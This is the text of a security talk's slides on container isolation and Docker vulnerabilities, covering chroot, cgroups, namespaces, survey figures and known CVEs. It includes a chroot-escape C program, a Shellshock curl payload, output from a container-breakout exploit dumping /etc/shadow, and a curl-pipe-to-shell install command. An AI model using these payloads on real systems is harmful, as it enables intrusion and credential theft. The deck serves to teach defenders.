VULNERABILITY EXPLOITATION IN DOCKER CONTAINER ENVIRONMENTS

ANTHONY BETTINI

FLAWCHECK
ABOUT ANTHONY BETTINI

Working in cybersecurity since 1996 (Netect, Bindview Team RAZOR, Guardent, Foundstone Labs, McAfee Avert Labs, Intel, Appthority, FlawCheck)

Original vulnerabilities discovered in products by PGP, ISS, Symantec, McAfee, Microsoft, Apple, etc.

Founded Appthority, which did static & dynamic analysis of mobile apps and was named the Most Innovative Company of the Year at RSA Conference 2012

Most recently, founded FlawCheck, the only scalable malware & vulnerability inspection platform for containers
MODERN HISTORY OF LINUX CONTAINERS

CONTAINERS CONTAIN ... UNTIL THEY DON’T
I've listed below a few examples of chroot in action. You can do these exercises on any modern Linux distribution. Ubuntu 12.04 was used for this writing:

```
root@jttest:/home/ubuntu# mkdir test
root@jttest:/home/ubuntu# chroot test
chroot: failed to run command `~/bin/bash': No such file or directory
```

So, let's add bash and try again:

```
root@jttest:/home/ubuntu# mkdir test/bin
root@jttest:/home/ubuntu# cp /bin/bash test/bin
root@jttest:/home/ubuntu# chroot test
chroot: failed to run command `~/bin/bash': No such file or directory
```
Still failing... this time it’s due to Linux’s use of dynamic libraries. To account for **dynamic libraries**, all libraries used by a command must also be copied to the chroot. To see what libraries are required, use the `ldd` command:

```
root@jttest:/home/ubuntu# ldd /bin/bash
  linux-vdso.so.1 => (0x00007fff4e5ff000)
  libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007fd5a43bd000)
  libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fd5a41b9000)
  libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd5a3df9000)
  /lib64/ld-linux-x86-64.so.2 (0x00007fd5a45ea000)
```

```
root@jttest:/home/ubuntu# mkdir test/lib
root@jttest:/home/ubuntu# cp /lib/x86_64-linux-gnu/libtinfo.so.5 test/lib/
root@jttest:/home/ubuntu# cp /lib/x86_64-linux-gnu/libdl.so.2 test/lib/
root@jttest:/home/ubuntu# cp /lib64/ld-linux-x86-64.so.2 test/lib64/
root@jttest:/home/ubuntu# cp /lib/x86_64-linux-gnu/libc.so.6 test/lib
root@jttest:/home/ubuntu# chroot test
bash-4.2#
```

Hey, it worked!

```
bash-4.2# ls
bash: ls: command not found
```

**For ftppd, not security**
unchroot.c

```c
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>

int main() {
    int dir_fd, x;
    setuid(0);
    mkdir("./42", 0755);
    dir_fd = open(".", O_RDONLY);
    chroot("./42");
    fchdir(dir_fd);
    close(dir_fd);
    for(x = 0; x < 1000; x++) chdir("..");
    chroot(".");
    return exec1("/bin/sh", ",-i", NULL);
}
```
Control Groups provide a mechanism for aggregating/partitioning sets of tasks, and all their future children, into hierarchical groups with specialized [behavior].”

Started in 2006 as “process containers”

Released in 2007 in Linux kernel 2.6.24 as control groups (due to containers being an overloaded term)

Primarily authored by Google engineers for scaling out isolated workloads

Basis for at least: systemd, CoreOS, Docker, lmctfy, LXC, etc.

cgroups resource: https://www.kernel.org/doc/Documentation/cgroups/cgroups.txt
Runs in userspace

Provides interface to all of the kernel containment features
  • Kernel namespaces
  • Control Groups
  • Apparmour & SELinux
  • Policies

Learn more at: https://linuxcontainers.org/lxc/introduction/

# lxc-create -n playtime -t /usr/share/lxc/templates/lxc-archlinux
Solomon Hykes on "The future of Linux Containers" PyCon US 2013:
https://www.youtube.com/watch?v=wW9CAH9nSLs
**DOCKER VS. LXC**

Key differences between LXC and Docker

**LXC**
- Host
  - VM1: Debian 64
  - VM2: Ubuntu 64
  - VM3: CentOS 64

- Filesystem neutral
- Containers are like VMs with a fully functional OS
- Data can be saved in a container or outside
- Build loosely coupled or composite stacks

**Docker**
- Host
  - Container storage volume
  - Layers to build app container
  - Layers to build
    - MyTi config
    - Create MyTi user
    - Create MyTi DB
    - MyTi

- Containers are made up of read only layers via AUFS/Devicemapper
- Containers are designed to support a single application.
- Instances are ephemeral, persistent data is stored in bind mounts to host or data volume containers
DOCKER BASICS

```bash
[ubuntu:pts/2:16:07:~% sudo docker pull ubuntu
Using default tag: latest
latest: Pulling from library/ubuntu

d3a1f33e8a5a: Already exists
c22013c84729: Already exists
d74508fb6632: Already exists
91e54dfb1179: Already exists
Digest: sha256:73fbd2308f5fb6e343425831b8ab44f10b7d77070ecdfbe4081daa4dbe3ed1
Status: Image is up to date for ubuntu:latest
[ubuntu:pts/2:16:07:~% ifconfig|grep "inet addr"
    inet addr:172.17.42.1  Bcast:0.0.0.0  Mask:255.255.0.0
    inet addr:172.16.135.157  Bcast:172.16.135.255  Mask:255.255.255.0
    inet addr:127.0.0.1  Mask:255.0.0.0
[ubuntu:pts/2:16:07:~% sudo docker run -it ubuntu ifconfig|grep "inet addr"
    inet addr:172.17.0.13  Bcast:0.0.0.0  Mask:255.255.0.0
    inet addr:127.0.0.1  Mask:255.0.0.0
[ubuntu:pts/2:16:07:~% sudo docker run -it ubuntu bash
[root@2e36cc2a378a:/ # exit
exit
```
“A namespace wraps a global system resource in an abstraction that makes it appear to the processes within the namespace that they have their own isolated instance of the global resource. Changes to the global resource are visible to other processes that are members of the namespace, but are invisible to other processes. One use of namespaces is to implement containers.”

Six namespaces:
1. mnt (filesystems & mount points)
2. PID (processes)
3. net (network stack)
4. UTS (hostname)
5. IPC (Linux implementation of System V IPC)
6. user (more on this later…)}
USER NAMESPACES

Introduced in Linux kernel 3.8

```
$ id -u       # Display effective user ID of shell process
1000
$ id -g       # Effective group ID of shell
1000
$ ./demo_users
eUID = 65534; eGID = 65534; capabilities: =ep
```

user_namespaces(7)

Docker uses kernel namespaces and does not yet fully implement user namespaces

More on namespaces (from Plan 9):

More on user namespaces:
- [https://lwn.net/Articles/532593/](https://lwn.net/Articles/532593/)
53% say security is their biggest concern about containers.

Base: 194 IT operations and development decision-makers at enterprises in APAC, EMEA, and North America
Source: A commissioned study conducted by Forrester Consulting on behalf of Red Hat, January 2015
WHAT ARE THE BIGGEST BARRIERS TO PUTTING CONTAINERS IN A PRODUCTION ENVIRONMENT?

In this question respondents had the option of rating certain categories as a major barrier, moderate barrier, minor barrier or no barrier at all.

Security was the highest rated barrier to increased adoption. The second biggest barrier was data management.

Note: we combined the major and moderate barrier responses and grouped them to weigh biggest barriers.
VULNERABILITIES & MALWARE

RECENT ENTERPRISE SURVEY BY FLAWCHECK

- Vulnerabilities & Malware: 42%
- Policy Enforcement: 21%
- Isolation: 16%
- Auditability: 11%
- Network Perimeter Security: 11%

AUGUST 2015
CONTAINERS ARE EPHEMERAL
VULNERABILITIES
3. Get the latest Docker package.

```bash
$ curl -sSL https://get.docker.com/ | sh
```

The system prompts you for your **sudo** password. Then, it downloads and installs Docker and its dependencies.
Docker daemon attack surface

Running containers (and applications) with Docker implies running the Docker daemon. This daemon currently requires root privileges, and you should therefore be aware of some important details.

First of all, only trusted users should be allowed to control your Docker daemon. This is
DOCKER NETWORKING

@07a0e2eafa8b:/ -- ssh -l dw 172.16.135.157 — 80×24

`sudo docker run -it centos bash`

`cat /etc/hosts`

```
172.17.0.18  07a0e2eafa8b
127.0.0.1    localhost
::1    localhost ip6-localhost ip6-loopback
fe00::0    ip6-localnet
ff00::0    ip6-mcastprefix
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters
172.17.0.16  berserk_cori
172.17.0.16  berserk_cori.bridge
172.17.0.18  lonely_mclean
172.17.0.18  lonely_mclean.bridge
```

`sudo docker ps`

```
CONTAINER ID        IMAGE        COMMAND               STATUS        NAMES                      CREATED
07a0e2eafa8b        centos       "bash"                Up 33 seconds  lonely_mclean             34 seconds ago
49b8ef3dcf78        ubuntu       "bash"                Up 4 minutes   berserk_cori              4 minutes ago
```

[88x423]DOCKER NETWORKING

[554x425]ENUMERATE CONTAINERS
DOCKER NETWORKING

[ubuntu:pts/7:21:20:~]$ sudo docker run -it ubuntu bash
[root@08c9aab15aa5:/#] shutdown now
shutdown: Unable to shutdown system
[root@08c9aab15aa5:/#] exit
exit
[ubuntu:pts/7:21:20:~]$ sudo docker run --net=host -it ubuntu bash
[root@ubuntu:/#] shutdown now
root@ubuntu:/# exit
Connection to 172.16.135.157 closed.

--net=host — Tells Docker to skip placing the container inside of a separate network stack. In essence, this choice tells Docker to **not containerize the container's networking**! While container processes will still be confined to their own filesystem and process list and resource limits, a quick `ip addr` command will show you that, network-wise, they live "outside" in the main Docker host and have full access to its network interfaces. Note that this does **not** let the container reconfigure the host network stack — that would require `--privileged=true` — but it does let container processes open low-numbered ports like any other root process. It also allows the container to access local network services like D-bus. This can lead to processes in the container being able to do unexpected things like **restart your computer**. You should use this option with caution.
Problem stemmed from blacklisting kernel capabilities (Docker missed CAP_DAC_READ_SEARCH, allowing open_by_handle_at() to succeed)

In Docker 0.12.0, Docker switched to a whitelist model for kernel capabilities

Docker kernel capabilities whitelist:

- https://github.com/docker/docker/blob/master/daemon/execdriver/native/template/default_template.go

```
root@precise64:~# docker run gatsby/shocker
[
[***] docker VMM-container breakout PoC) 2014
[***] The tea from the 90's kicks your securitry again.
[***] If you have pending sec consulting, I'll happily
[***] forward to my friends who drink securty-tea too!
[***] Resolving '/etc/shadow'
[*] Found vmlinux
[*] Found vagrant
[*] Found lib64
[*] Found usr
[*] Found ...  
```

```
[*] Found shadow
[+] Match: shadow ino=3935729
[*] Brute forcing remaining 32bit. This can take a while...
[+] (shadow) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0xf1, 0x0d, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0xf1, 0x0d, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Win! /etc/shadow output follows:
root:!:15597:0:99999:7::  
daemon:*:15597:0:99999:7::  
bin:*:15597:0:99999:7::
```
Docker needs to decompress (recursively) container images (and currently does this as root on the container host) – Docker supports at least XZ, GZ, TAR

Cloud Service Providers (CSP) particularly at risk if not validating container images

[CVE-2014-9357] Escalation of privileges during decompression of LZMA (.xz) archives

It has been discovered that the introduction of chroot for archive extraction in Docker 1.3.2 had introduced a privilege escalation vulnerability. Malicious images or builds from malicious Dockerfiles could escalate privileges and execute arbitrary code as a privileged root user on the Docker host by providing a malicious xz binary.

We are releasing Docker 1.3.3 to address this vulnerability. Only Docker 1.3.2 is vulnerable. Users are highly encouraged to upgrade.

Discovered by Taunis Tiigi.
BASH IN A DOCKER CONTAINER?

Present in >50% of popular containers on Docker Hub

Commonly present in most or very few of homegrown containers, dependent upon how automated builds are done in the CI/CD process automation

/bin/bash typically not related to the actively running process but could be

```
blueberry:s001:16:50:~% curl -H "User-Agent: () { ::}; echo; /usr/bin/id" http://172.16.135.161/cgi-bin/x.cgi
uid=33(www-data) gid=33(www-data) groups=33(www-data)
blueberry:s001:16:51:~%
```
CVE-2014-3120 is a RCE bug in ElasticSearch (prior to 1.2.0)

Ben Hall @ Ocelot Uproar was running ElasticSearch in a Docker container and it was breached via CVE-2014-3120 (probably first publicly-admitted breach of a Docker container environment in-the-wild (ITW))

Actively exploited in the wild and MetaSploit plugin available (works against Dockerized ElasticSearch):

TEARING APART CONTAINERS

What did we find?
DOCKER HUB

Docker Hub Overall

> 15,000 pre-built containers
> 500 million downloads
> 30% of containers have vulnerabilities
No security inspection by Docker

Docker Hub Official Images

~ 100 official images (tag: latest)
Blue-ribbon from Docker
> 90% of official images have vulnerabilities
No security inspection by Docker
THANK YOU

ANTHONY BETTINI

ABETTINI@FLAWCHECK.COM

ADVICE - $.50
GOOD ADVICE - $2.00
bad jokes for free